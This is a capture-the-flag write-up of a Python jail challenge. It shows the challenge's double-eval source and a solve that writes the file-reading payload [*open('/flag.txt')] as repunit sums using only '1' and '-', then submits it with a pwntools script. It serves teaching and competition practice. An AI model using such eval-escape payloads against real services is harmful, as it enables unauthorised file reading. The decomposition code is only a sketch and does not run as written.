The Brig - Misc

Points: 413 | Flag: BCCTF{1--1--1--1--111--111--1111_e1893d6cdf} | Solved by: Smothy @ 0xN1umb

what we got

Python jail challenge. We're "trapped in the brig" and can only use 2 characters to escape.

#!/usr/local/bin/python3 -u
from Crypto.Util.number import long_to_bytes

def main():
    inp = input('> ')
    if len(inp) != 2:
        print("I see you smuggleing contraband in!")
        return 1
    ok_chars = set(inp)

    inp = input('> ')
    if not set(inp) <= ok_chars:
        print("You don't have that tool")
        return 1
    if len(inp) >= 2**12:  # 4096 char limit
        print("You took too long!")
        return 1
    try:
        print(eval(long_to_bytes(eval(inp))))
    except:
        print("What are you trying to do there?")

So the flow is:

1. Pick 2 characters - that's your entire alphabet
2. Write an expression using ONLY those 2 chars (max 4096 chars)
3. Expression gets eval()'d to produce a NUMBER
4. Number gets converted to bytes via long_to_bytes()
5. Those bytes get eval()'d as Python code
6. Result is printed

flag is at /flag.txt

the solve

ngl this one had me stuck for a bit. the trick is realizing you need to:

1. Build an arbitrary large number with just 2 chars
2. That number needs to decode to valid Python that reads the flag

the character pair: 1 and -

with 1- you can:

• write repunits: 1, 11, 111, 1111, ...
• use -- as ADDITION (double negative lmao)
• use - as subtraction

so 11--111 = 11 + 111 = 122

any number can be expressed as sums/differences of repunits! math is cool fr

the payload problem

first tried open('/flag.txt').read() - 24 bytes - but the number was too big, needed ~4400 chars to express it. over the 4096 limit rip

then realized... what about a SHORTER payload?

[*open('/flag.txt')] is only 20 bytes! it unpacks the file lines into a list. output looks like ['BCCTF{...}\n'] but still shows the flag

20 bytes = smaller number = only 3437 chars to express. ez under the limit

the math

from Crypto.Util.number import bytes_to_long

payload = b"[*open('/flag.txt')]"
target = bytes_to_long(payload)
# target = 520464499153495198039313712230970509605825096029

then greedy decomposition into repunits:

def greedy_decompose(n):
    terms = []
    current = n
    while current != 0:
        # find best repunit to add or subtract
        for k in range(max_k, 0, -1):
            r = repunit(k)  # 111...1 (k ones)
            # try both +r and -r, pick whichever reduces |current| most
        terms.append((best_sign, best_k))
        current -= best_sign * repunit(best_k)
    return terms

builds expression like:

running it

from pwn import *

r = remote('chal.bearcatctf.io', 36990)
r.sendlineafter(b'> ', b'1-')       # our 2 characters
r.sendlineafter(b'> ', expr.encode())  # the 3437 char expression
print(r.recvall())

lowkey the flag itself is the solve technique lmaooo 1--1--1--1--111--111--1111

flag

BCCTF{1--1--1--1--111--111--1111_e1893d6cdf}

smothy out ✌️